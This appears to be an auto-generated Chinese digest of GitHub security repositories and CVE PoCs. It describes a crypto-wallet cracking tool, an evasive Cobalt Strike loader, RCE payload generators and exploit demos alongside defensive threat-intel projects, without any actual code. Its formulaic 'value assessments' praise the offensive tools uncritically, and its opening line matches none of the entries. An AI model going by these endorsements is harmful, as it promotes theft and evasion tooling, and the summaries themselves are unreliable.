该仓库提供了破解QFX KeyScrambler的具体技术手段,涉及安全绕过技术,对软件的安全保护具有破坏作用,符合安全相关内容。
hack-crypto-wallets - 用于破解加密加密货币钱包的安全工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | hack-crypto-wallets |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库旨在利用复杂算法和方法绕过加密钱包安全,存在未授权访问风险,内容涉及漏洞利用方法。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 破解加密钱包以获取未授权访问 |
| 2 | 利用高级算法绕过安全机制 |
| 3 | 涉安全漏洞利用技术 |
| 4 | 可能导致资金盗取和个人信息泄露 |
🛠️ 技术细节
使用破解算法和策略攻击钱包加密协议,可能包括漏洞利用代码或技巧
风险在于可能用作非法入侵和资金盗窃的工具,提升安全威胁水平
🎯 受影响组件
• 加密钱包协议
• 钱包加密机制
⚡ 价值评估
展开查看详细评估
仓库包含针对加密钱包的破解方法和算法,属于安全漏洞利用范畴,有潜在危害,符合安全类仓库价值标准。
hamonikr-worm - 基于内核的系统监控与安全增强工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | hamonikr-worm |
| 风险等级 | HIGH |
| 安全类型 | 安全研究 |
📊 代码统计
- 分析提交数: 5
💡 分析概述
该仓库实现了一个Linux内核模块,用于监控系统调用和增强系统安全,具有访问控制、文件属性管理等功能,适用于安全研究与漏洞潜在利用。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 实现了Linux内核级别的系统监控和权限控制功能 |
| 2 | 包含系统调用钩取与限制的安全机制 |
| 3 | 提供了复杂的系统安全策略检测与行为控制 |
| 4 | 搜索关键词相关性强,属于安全工具范畴,侧重在渗透和安全防护研究 |
🛠️ 技术细节
通过ftrace钩取关键系统调用(如openat、execve等),实现对文件和进程操作的监控和限制
使用内核模块初始化和退出机制,结合钩子结构体管理钩取点
实现多层安全策略检测,区别正常行为与潜在威胁
核心技术为内核空间的钩取和行为过滤,具备较高的技术复杂性和潜在利用场景
🎯 受影响组件
• Linux内核系统调用子系统
• 内核模块监控机制
• 文件系统及进程管理
⚡ 价值评估
展开查看详细评估
仓库核心在于内核级安全监控与防护的实现,具有实质性技术内容,能为渗透测试和漏洞利用提供安全检测手段,同时有一定的研究价值,符合搜索关键词“security tool”的高相关性。
CVE-DATABASE - 安全漏洞数据库,跟踪分析已知漏洞
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | CVE-DATABASE |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用/安全修复 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 15
💡 分析概述
此次更新新增多个漏洞记录,包括操作系统、应用软件、平台等多方面,涉及敏感权限利用、配置错误、组件导出异常等安全问题。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 收录多项新发现的安全漏洞与CVE编号 |
| 2 | 多条漏洞涉及Android应用、网络设备等平台的导出和权限问题 |
| 3 | 部分漏洞描述涉及远程利用、信息泄露、代码执行等安全风险 |
| 4 | 改进了漏洞信息的完整性和安全描述,增强漏洞追踪 |
🛠️ 技术细节
分析包括AndroidManifest.xml未正确导出、模板引擎不当处理导致XSS、默认凭证问题等技术细节。
这些漏洞可能被远程攻击者利用实现越权、信息泄露或代码执行,存在较高的安全风险。
🎯 受影响组件
• Android应用组件
• 网络或云平台API
• 嵌入式设备固件
• Web后台管理接口
⚡ 价值评估
展开查看详细评估
新加入众多安全漏洞记录,包括远程代码执行、信息泄露和XSS等关键安全漏洞,具有重要的安全研究和防护价值。
OpSec-Tools - 系统集成的隐私防护工具集合
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | OpSec-Tools |
| 风险等级 | MEDIUM |
| 安全类型 | 安全研究/漏洞利用/渗透测试工具 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 7
💡 分析概述
该仓库提供了一套硬化安装和管理脚本,针对Tor, I2P及ProxyChains-NG实现安全配置,强调DNS泄露保护、版本固定和服务健康检测,主要用于隐私安全研究和实践。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 集成多平台安装和配置脚本,支持Windows、macOS、Debian系统 |
| 2 | 集成硬化安全特性,包括DNS泄露保护、签名验证和健康检查 |
| 3 | 提供实质性安全配置,专注于隐私工具的安全部署与管理 |
| 4 | 与“security tool”关键词高度相关,侧重于渗透测试和安全研究中的隐私保护工具 |
🛠️ 技术细节
采用多平台脚本实现自动化硬化配置,支持版本固定和路径检测
包括签名验证、动态链模式配置,提升抗检测能力
配置高安全性代理链,确保DNS泄露和流量监控的防护
使用自动化健康检测脚本确保服务运行状态
🎯 受影响组件
• Tor浏览器
• I2P匿名网络
• ProxyChains-NG代理工具
• 相关系统网络配置和安全机制
⚡ 价值评估
展开查看详细评估
该仓库满足所有价值判定条件,包含实质性安全研究内容,强调漏洞利用和渗透测试中隐私工具的安全部署,技术内容丰富且具有实际操作价值,符合检索关键词“security tool”的核心需求。
hacking_vault - Web请求入侵与HTTPRequest Smuggling工具和技术合集
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | hacking_vault |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 16
💡 分析概述
仓库收集了多种HTTP请求走私(Request Smuggling)漏洞的检测、利用技术资料和实战脚本,包括CL.TE、TE.CL相关的漏洞演示和技巧分享,强调对抗WAF的obfuscation方法,提升攻击效率。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 收集多种HTTP请求走私漏洞的检测和利用资料 |
| 2 | 涵盖CL.TE、TE.CL的漏洞描述、检测流程和验收方法 |
| 3 | 详细介绍了请求走私的obfuscation技巧(如Header畸变) |
| 4 | 提供实战范例、测试流程和相关链接参考 |
🛠️ 技术细节
利用差异响应和Timing技术发现HTTP请求边界错位漏洞,以及复杂的obfuscation手法绕过WAF
通过恶意Header变形、Header拆分、不标准Token等技巧诱导服务器错误解析,达到走私目的
强调多点检测与确认,提高漏洞验证的可靠性
🎯 受影响组件
• Web服务器的请求解析模块
• HTTP请求处理逻辑
• 负载均衡和WAF前端组件
⚡ 价值评估
展开查看详细评估
该仓库集中丰富的请求走私漏洞技术资料,涵盖从检测、验证到实战绕过的全流程,特别强调obfuscation攻防技巧,具有较高的安全研究和渗透测试价值。
spydithreatintel - 安全情报与IOC数据共享仓库
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | spydithreatintel |
| 风险等级 | HIGH |
| 安全类型 | 安全修复/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 52
💡 分析概述
该仓库主要收集生产系统中的安全事件IOC、漏洞利用POC、钓鱼域名/IP等信息,更新涉及大量已识别恶意域名和IP名单,包括漏洞利用、钓鱼、恶意广告等场景。此次更新主要新增和调整多份恶意域名与IP清单,包含疑似恶意域名和多级可信IP,强化安全检测的覆盖范围。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 收集和共享安全事件IOC信息,包括域名和IP黑名单 |
| 2 | 大量更新恶意域名和IP名单,包括钓鱼、广告、恶意软件相关内容 |
| 3 | 包括多级可信度评估的IP名单扩充和域名变化 |
| 4 | 影响安全检测、威胁情报整合、黑名单管理 |
🛠️ 技术细节
通过定期自动从OSINT、威胁情报源获取数据,生成多等级信誉的域名/IP名单
包含钓鱼、恶意广告、漏洞利用等威胁指标,更新日期精确到UTC时间点,体现数据动态变化
多份不同信誉等级(高、中、低、无限制)名单整合,以便威胁检测和防御策略调整
更新涉及自动化脚本、数据过滤、多源验证,覆盖广泛威胁场景
🎯 受影响组件
• 威胁检测系统
• 入侵防御与黑名单过滤模块
• IOC整合和大数据分析平台
⚡ 价值评估
展开查看详细评估
此次更新集中增加了大量新发现的恶意域名及IP资源,尤其是具有高可信度和多源验证的威胁指标,有助于提升检测敏感性和防御效果,属于安全漏洞利用或威胁情报扩充的关键内容。
ThreatFox-IOC-IPs - ThreatFox IP恶意IP列表。
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | ThreatFox-IOC-IPs |
| 风险等级 | HIGH |
| 安全类型 | 安全修复/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 5
💡 分析概述
该仓库维护ThreatFox泄露的恶意IP列表,频繁更新,用于网络安全监测和防御。此次更新添加多个疑似恶意IP,包括与C2相关域的潜在关联。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 维护ThreatFox的恶意IP列表,用于安全监控 |
| 2 | 频繁添加大量IP地址,部分被怀疑关联指挥控制(C2)服务器 |
| 3 | 更新内容中大量IP被加入,可能涉及命令与控制(C2)相关的网络节点 |
| 4 | 影响网络安全检测与防御,提供最新的恶意IP信息 |
🛠️ 技术细节
通过自动化脚本频繁更新包含可能的C2通信IP的恶意IP列表
未提供具体指向C2的利用代码,仅IP地址更新,安全影响主要是检测和封锁相关通信
IP数据由ThreatFox提供,更新可能间接反映最新的威胁情报变化
此类列表可以被用于入侵检测系统(IDS)、防火墙等安全产品的强化防御
🎯 受影响组件
• 安全监控系统
• 入侵检测防御系统
• 网络访问控制系统
⚡ 价值评估
展开查看详细评估
因列表频繁更新,包括潜在的C2相关IP,有助于安全防护和威胁情报分析,符合安全相关内容的价值标准。
financial_security_ai_model - 金融安全AI模型与防御技术
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | financial_security_ai_model |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用/安全检测/安全修复 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 17
💡 分析概述
该仓库旨在通过AI模型增强金融安全防护,涉及漏洞利用POC、攻击检测和安全工具。最新更新中添加了对恶意软件(如Trojan、RAT)的识别特征描述,强化了对客观题Pattern分析和多维检测能力,并修正了安全相关的模型处理和检测策略,提升了安全漏洞检测和检测效率。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用AI提升金融安全检测能力 |
| 2 | 引入Trojan和RAT等恶意软件特征描述,完成安全检测相关安全内容增强 |
| 3 | 增强模型在检测恶意行为、漏洞利用和攻击特征识别方面的能力 |
| 4 | 优化安全检测流程,提高漏洞识别准确性和检测效率 |
🛠️ 技术细节
变更包括加强对恶意软件(如Trojan、RAT)的识别特征描述,增加检测指标和分析模型的安全相关模块。
引入重点检测网络流量异常、文件可疑行为、设备访问、隐藏攻击痕迹的算法和特征提取方法。
调整模型中的安全相关参数,强化漏洞利用代码检测、攻击攻击检测逻辑以及安全事件识别能力。
🎯 受影响组件
• 安全检测模型
• 恶意软件识别模块
• 漏洞检测和利用方法
• 安全数据分析流程
⚡ 价值评估
展开查看详细评估
此次更新重点强化了对恶意软件和攻击行为的检测能力,特别是Trojan和RAT特征的描述和模型中的安全检测指标,属于安全漏洞识别和利用方法的改进,对提升金融系统安全防护具有重要价值。
vuln-chaser-core - 基于LLM的实际漏洞证据分析工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | vuln-chaser-core |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库通过证据驱动的方法,利用LLM对应用执行轨迹进行安全分析,旨在发现实际可利用的漏洞。此次更新强调从SOV框架转向证据和实操分析,更关注真实场景中的漏洞真实性,为安全测试提供更具实用性的分析手段。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 基于LLM的漏洞分析框架 |
| 2 | 移除Saim(SOR)框架,改用证据驱动分析 |
| 3 | 聚焦于实际执行轨迹上的可利用漏洞 |
| 4 | 提升漏洞检测的真实性和实用性 |
🛠️ 技术细节
采用证据和执行轨迹为基础,抵抗虚假或不切实际的漏洞检测
通过改动分析策略,加强漏洞识别的实操性和可靠性,减少误报
🎯 受影响组件
• 漏洞分析模块
• 执行轨迹处理部分
⚡ 价值评估
展开查看详细评估
本次更新将传统的漏洞检测从模式匹配转向证据驱动的实证分析,增强漏洞真实性识别能力,对于安全行业中提高漏洞验证的可信度具有重要价值,相关技术对实际渗透测试、漏洞验证有显著推动作用。
vscode-agentic-security-tester - 基于AI的Java安全自动化测试插件
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | vscode-agentic-security-tester |
| 风险等级 | HIGH |
| 安全类型 | 安全研究/漏洞利用/渗透测试工具 |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 21
💡 分析概述
该仓库是一个集成AI驱动的VS Code扩展,用于在Java应用运行时进行安全检测,通过程序化调试控制实现动态安全测试,包含漏洞检测逻辑和安全分析方法。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用AI辅助进行安全漏洞检测和安全行为分析 |
| 2 | 集成运行时安全测试,动态捕获程序状态 |
| 3 | 包含安全相关的漏洞检测示范和自动化测试脚本 |
| 4 | 与“AI Security”关键词高度相关,核心目标是AI驱动的安全研究与漏洞检测 |
🛠️ 技术细节
使用Java作为被测试目标,通过VS Code扩展控制调试会话,实时插入断点进行安全行为监控
集成AI逻辑,用于识别安全漏洞和非法操作(如SQL注入、密码硬编码、加密弱点)
采用调试API实现状态捕获,动态检测安全风险点
部分算法包括异常识别、行为分析与漏洞验证,体现安全研究深度
🎯 受影响组件
• Java应用的调试和检测模块
• VS Code扩展与调试器集成
• 安全检测脚本与AI分析逻辑
⚡ 价值评估
展开查看详细评估
仓库结合AI技术和动态调试实现安全检测,技术内容丰富,聚焦于安全研究和漏洞利用,符合搜索关键词“AI Security”的核心要求。它不仅提供实用的安全检测工具,还具有创新点,体现安全研究价值。
agentic-redteam-radar - 多功能安全检测与自动化验证框架
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | agentic-redteam-radar |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用/安全检测/安全修复/安全工具 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 4
- 变更文件数: 40
💡 分析概述
该仓库是一个面向AI代理的安全测试和红队扫描工具,最新版本加入了多代全面的安全验证、性能优化、扩展性和防护措施,包括生成式漏洞利用、输入验证、误差修复、自动扩展和安全策略增强,强化了漏洞检测能力、可靠性和部署效率。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 实现多代自动化安全验证和生产就绪部署 |
| 2 | 整合漏洞利用、检测、预警、错误处理、扩展与性能优化 |
| 3 | 集成安全策略检测、防护措施以及输入验证和异常处理机制 |
| 4 | 支持多区域多语言全球部署,确保安全合规 |
🛠️ 技术细节
引入多代的漏洞检测、利用方法增强,使用异步和自动化技术实现持续验证
实现全面的安全检测机制,包括漏洞利用代码、攻击识别和误差修正
采用多策略自动扩展、负载均衡和资源池,提升性能和可靠性
加入多语言国际化支持和合规框架,确保全球部署安全标准一致
强化输入验证、安全策略执行和错误处理,提升系统容错和抗攻击能力
🎯 受影响组件
• 漏洞利用检测模块
• 安全验证和入侵检测系统
• 自动扩展与负载均衡管理
• 多语言国际化与合规体系
• 错误处理与弹性机制
⚡ 价值评估
展开查看详细评估
最新更新大幅提升了漏洞利用、检测能力和系统容错,涵盖自动化安全验证、多代优化、攻击识别及国际合规,具有极高的网络安全和渗透测试价值。
Exo-Suit - 基于AI安全研究的高级AI平台与工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Exo-Suit |
| 风险等级 | HIGH |
| 安全类型 | 安全研究/漏洞利用/安全工具 |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 8
💡 分析概述
该仓库展示了一个结合AI和安全的高性能AI平台,强调安全性、透明性及防护机制,包含安全研究体系、漏洞挖掘和自我保护技术的技术内容。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 集成多层安全机制包括ParadoxResolver和GuardRail系统,确保AI逻辑和操作安全 |
| 2 | 实现了系统自主的安全监控、异常检测与修复(Phoenix Recovery System) |
| 3 | 强调系统的透明性与可验证性(MythGraphLedger、加密日志) |
| 4 | 包含安全研究体系(社区安全测试、漏洞报告、开源验证)用于漏洞发现和安全增强 |
| 5 | 核心目标是构建可信赖、安全且可扩展的AI平台,符合搜索关键词‘AI Security’的核心技术需求 |
🛠️ 技术细节
采用多层次安全架构,结合区块链技术验证系统操作,提供全方位安全保障
实现自我修复与能力评估的Meta-Cognition引擎,增强AI系统的自我保护能力
支持动态插件加载,提升系统扩展性与安全适应性
包含安全研究操作流程与漏洞测试体系,为安全攻防提供技术基础
🎯 受影响组件
• AI核心引擎
• 安全监控和修复模块
• 安全验证与透明追踪子系统
• 漏洞研究和社区安全测试平台
⚡ 价值评估
展开查看详细评估
仓库充分体现了严格的安全保障技术、系统完整性验证和漏洞研究体系,核心符合搜索关键词‘AI Security’的研究与攻防价值,内容深入且具有创新性,不仅提供技术内容,还强调安全实用性。
ai-5g-security-advanced - AI-5G安全检测与威胁识别工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | ai-5g-security-advanced |
| 风险等级 | MEDIUM |
| 安全类型 | 安全研究 |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 8
💡 分析概述
该仓库基于AI模型实现云原生5G网络威胁检测,集成流式数据模拟、机器学习与自动化响应,核心聚焦于利用AI进行安全分析,具备一定技术深度。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用AI和机器学习(IsolationForest)检测异常和威胁行为 |
| 2 | 实现基于模型的威胁分析和自动响应策略 |
| 3 | 包含仿真环境和安全检测技术研究,技术内容实质丰富 |
| 4 | 与搜索关键词AI Security高度相关,核心在AI驱动的安全检测 |
🛠️ 技术细节
采用Streamlit搭建交互界面,结合模拟数据和ML模型实现威胁检测
实现定制化的异常检测(IsolationForest)和攻击模拟,体现安全研究深度
结合多特征(流量数据、异常得分、攻击行为)进行检测与响应
设计自动化响应策略(封锁IP等)支撑快速响应体系
🎯 受影响组件
• 云原生5G网络流量监控系统
• 安全威胁检测与自动响应平台
⚡ 价值评估
展开查看详细评估
仓库体现了基于AI的安全检测体系,核心功能是通过机器学习提升网络攻防能力,符合安全研究与渗透测试主题,技术内容丰富且具有创新性,满足搜索关键词'AI Security'的高相关性要求。
koneko - Cobalt Strike高效规避型加载器
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | koneko |
| 风险等级 | HIGH |
| 安全类型 | 安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库提供一个具有多重进阶规避功能的Cobalt Strike shellcode加载器,旨在增强安全测试和渗透测试中的规避能力。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 提供高效规避的Cobalt Strike shellcode加载功能 |
| 2 | 更新内容主要为README说明,无实际代码变更 |
| 3 | 强调多种安全检测规避策略 |
| 4 | 影响安全测试和渗透测试场景中的威胁规避效果 |
🛠️ 技术细节
利用多种反检测、反沙箱及规避技术增强shellcode加载的隐蔽性
未见具体漏洞利用代码,聚焦于规避实现和技术细节
🎯 受影响组件
• Cobalt Strike运行环境
• 目标终端的检测与防御系统
⚡ 价值评估
展开查看详细评估
该仓库强调利用多重规避技术提升Cobalt Strike载荷的隐蔽性,符合安全工具中增强规避能力的标准,为安全研究和攻击模拟提供价值。
CVE-2024-40094 - graphql-java存在ExecutableNormalizedFields(ENF)拒绝服务漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2024-40094 |
| 风险等级 | CRITICAL |
| 利用状态 | POC可用 |
| 发布时间 | 2025-08-18 00:00:00 |
| 最后更新 | 2025-08-18 02:09:21 |
📦 相关仓库
💡 分析概述
该漏洞通过构造深度嵌套的GraphQL introspection查询请求,利用graphql-java服务器对深层结构解析不当,引发服务中断。攻击者可在目标服务器上执行大量高复杂度请求,导致资源耗尽,造成拒绝服务。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 利用深度嵌套的introspection查询触发ENF漏洞 |
| 2 | 高并发请求对 vulnerable 服务器造成压力 |
| 3 | 需目标服务器运行受影响版本的graphql-java |
🛠️ 技术细节
漏洞原理:攻击利用graphql-java对深层结构处理不当,导致大量资源耗尽,从而引发拒绝服务。
利用方法:通过自定义大规模、高复杂度的GraphQL查询(如脚本中生成的多别名深层嵌套查询)同时发起大量请求,可实现攻击效果。
修复方案:升级至修复该漏洞的graphql-java版本,或对查询深度进行限制,增强服务器抗压能力。
🎯 受影响组件
• graphql-java
💻 代码分析
分析 1:
提供完整POC脚本,利用异步请求并发发起深层嵌套查询
分析 2:
代码结构清晰,包含请求生成、并发执行和日志记录
分析 3:
代码质量良好,易于理解和复用,配合参数调优实现大规模压力测试
⚡ 价值评估
展开查看详细评估
该漏洞能被远程发起高并发的复杂请求,造成目标服务拒绝,具有明确的利用代码(脚本)和复现效果,危害严重,影响广泛,符合价值判断标准。
CVE-2023-20938 - Android Binder组件Use-After-Free漏洞
📌 漏洞信息
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2023-20938 |
| 风险等级 | HIGH |
| 利用状态 | 理论可行 |
| 发布时间 | 2025-08-18 00:00:00 |
| 最后更新 | 2025-08-18 02:02:12 |
📦 相关仓库
💡 分析概述
该漏洞涉及Android系统Binder驱动中的引用计数管理不当,导致在特定条件下出现Use-After-FreeBug,攻击者利用该漏洞可在模拟器环境中触发KASAN崩溃,存在潜在的远程代码执行风险,但目前尚未提供完整的利用代码或经过验证的远程利用方法。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | Android Binder驱动中的引用管理缺陷导致Use-After-Free |
| 2 | 利用链涉及多线程交叉引用和节点提前释放 |
| 3 | 利用条件复杂,需要特定的Binder操作和软硬件环境 |
🛠️ 技术细节
利用流程包括创建节点、多线程操作引发悬挂指针、并在节点引用被释放后再次访问
触发点在binder_transaction_buffer_release和binder_dec_node_nilocked函数中处理引用计数时的竞态情况
修复方案建议加强引用生命周期管理和防止悬挂指针访问,完善节点的同步机制
🎯 受影响组件
• Android系统Binder驱动(版本Android12-Android13相关)
• 特定内核版本:如android12-5.10.136_r00
💻 代码分析
分析 1:
提供的POC利用代码展示了攻击触发流程,但尚未包括完整的远程利用实现,存在一定复杂性
分析 2:
测试用例验证了漏洞的存在,通过模拟环境中的崩溃确认了潜在风险
分析 3:
代码质量基本满足示意需求,但缺乏完整的远程利用流程和稳定性优化
⚡ 价值评估
展开查看详细评估
该漏洞影响广泛使用的Android操作系统核心组件,存在潜在的Use-After-Free,可能被用作开发远程代码执行或权限提升的基础,且已有部分利用思路与示例代码,满足爆炸性危害条件。
CMD-Exploit-CVE-2024-RCE-AboRady-FUD-25765-Injection - 利用框架和CVEs的RCE漏洞利用工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | CMD-Exploit-CVE-2024-RCE-AboRady-FUD-25765-Injection |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 5
💡 分析概述
该仓库开发了用于远程代码执行(RCE)漏洞的利用工具,重点在于隐蔽执行和绕过检测,涉及特定漏洞(CVE-2024)利用。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 提供针对CVE-2024的RCE漏洞利用代码 |
| 2 | 采用隐蔽执行技术如cmd fud,规避检测 |
| 3 | 安全相关变更包括漏洞利用代码的持续优化 |
| 4 | 影响可能包含受害系统的远程代码执行风险 |
🛠️ 技术细节
利用框架结合漏洞数据库(CVEs)开发exploit脚本,可能实现自动化攻击
利用技术侧重于隐蔽性和高成功率,影响目标系统的安全防御机制
🎯 受影响组件
• 受影响的系统可能包括具有特定漏洞配置的Win/Linux环境
⚡ 价值评估
展开查看详细评估
该仓库明显聚焦于漏洞利用开发,包含特定漏洞(CVE-2024)利用代码,提升了攻击效率和隐蔽性,对渗透测试和安全防护具有实质学习价值
CVE-2025-54253-Exploit-Demo - 针对Adobe AEM Forms的OGNL注入利用演示
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | CVE-2025-54253-Exploit-Demo |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 2
💡 分析概述
该仓库主要提供CVE-2025-54253漏洞的利用PoC,以实现对Adobe AEM Forms系统的远程命令执行,包含漏洞利用代码、复现步骤和缓解建议。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 提供针对CVE-2025-54253的利用演示(PoC) |
| 2 | 实现OGNL注入到RCE的漏洞利用 |
| 3 | 涉及安全漏洞利用技术与实现细节 |
| 4 | 影响Adobe AEM Forms on JEE中的远程代码执行 |
🛠️ 技术细节
利用Python 3.10编写的漏洞利用代码,通过构造特制请求触发OGNL注入实现远程代码执行
演示了利用该漏洞进行RCE的具体步骤和环境配置
安全影响:成功利用此漏洞可导致攻击者在受影响系统执行任意操作,造成严重安全风险
🎯 受影响组件
• Adobe AEM Forms on JEE
⚡ 价值评估
展开查看详细评估
仓库包含关键漏洞的利用代码和详细指导,直接涉及远程代码执行,具有高度实用价值,符合渗透测试和安全研究的需求
rce - 大量RCE测试payload生成器
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | rce |
| 风险等级 | HIGH |
| 安全类型 | 渗透测试工具/漏洞利用 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库提供超过207,000个RCE(远程代码执行)payloads的生成脚本,主要用于渗透测试中的漏洞验证和安全研究,内容技术丰富,支持多种注入方式和编码变化。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 基于Python开发的RCE payload生成工具 |
| 2 | 支持多种编码和绕过技巧,旨在测试Web应用的RCE漏洞 |
| 3 | 提供丰富的攻击负载组合用于漏洞验证和安全研究 |
| 4 | 与“RCE”关键词高度相关,核心在于安全漏洞利用载荷生成 |
🛠️ 技术细节
采用Python脚本动态生成多样化payloads,包括命令注入、语言注入和HTTP命令利用,支持编码和绕过技巧
通过多样化的负载组合模拟多种攻击场景,帮助渗透测试人员验证Web应用的RCE漏洞存在,对于安全测试具有实际价值
🎯 受影响组件
• Web应用中的输入验证和命令执行模块
⚡ 价值评估
展开查看详细评估
该仓库提供大量高质量的RCE攻击载荷,涵盖多种注入方式、编码策略,直接服务于渗透测试中漏洞验证,是安全研究和安全攻防技术的重要工具。其内容高度符合搜索关键词“RCE”并专注于漏洞利用技术,具有良好的实用和研究价值。
VulnWatchdog - 自动化漏洞检测和分析工具,关注网络安全相关CVE和漏洞利用
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | VulnWatchdog |
| 风险等级 | HIGH |
| 安全类型 | 漏洞分析/漏洞利用/安全修复建议 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 19
💡 分析概述
仓库为漏洞监控和分析平台,主要通过分析CVE信息、POC代码和漏洞利用脚本,检测高危安全漏洞,涉及远程代码执行和路径遍历等安全问题。此次更新新增多个CVE分析报告,包含漏洞描述、利用方式和风险评估,内容高度关联安全攻击和漏洞利用技术。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 提供针对多个高危安全漏洞的分析报告,包括漏洞类型、影响版本和利用条件 |
| 2 | 详细描述各漏洞的利用方式、POC存在性和投毒风险评估 |
| 3 | 涉及安全漏洞的远程代码执行、路径遍历、命令注入等安全问题 |
| 4 | 更新内容强调漏洞利用的有效性和潜在风险,具有重要安全研究价值 |
🛠️ 技术细节
通过分析新增的漏洞分析文档,识别出包含远程命令执行、路径遍历等漏洞的POC和利用方法,涉及攻击脚本构造、协议伪造和配置注入技术
每份分析报告详细描述漏洞的影响版本、利用条件和风险评估,同时提供漏洞利用的原理和攻击步骤,具有较高技术深度和专业性
🎯 受影响组件
• 针对具体漏洞的后端服务/应用程序(如GraphQL、AEM、Keycloak、RocketMQ、Tenda路由器、TestNG等相关系统和模块)
• 漏洞相关的配置管理、协议处理和输入验证组件
⚡ 价值评估
展开查看详细评估
此次更新重点在于提供详细的安全漏洞分析报告,涵盖多个实际被利用的高危漏洞,包括漏洞描述、利用脚本和风险评估,内容具有高度安全研究和实战应用价值,符合网络安全和渗透测试的核心需求。
Vulnerability-Wiki - 漏洞信息汇总平台
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Vulnerability-Wiki |
| 风险等级 | MEDIUM |
| 安全类型 | 安全修复/漏洞信息 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 10
💡 分析概述
该仓库主要收集安全漏洞文档,最新更新添加了Apache CXF Aegis DataBinding SSRF漏洞(CVE-2024-28752),提升了安全漏洞的资料覆盖。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 收集与展示各种安全漏洞信息 |
| 2 | 新增Apache CXF Aegis DataBinding SSRF漏洞(CVE-2024-28752)相关内容 |
| 3 | 有关于安全漏洞的详细描述及影响分析 |
| 4 | 影响信息披露和潜在外部攻击 |
🛠️ 技术细节
最新更新引入Apache CXF SSRF漏洞的描述和影响信息,详细说明利用影响版本(低于4.0.4、3.6.3、3.5.8)以及攻击路径。
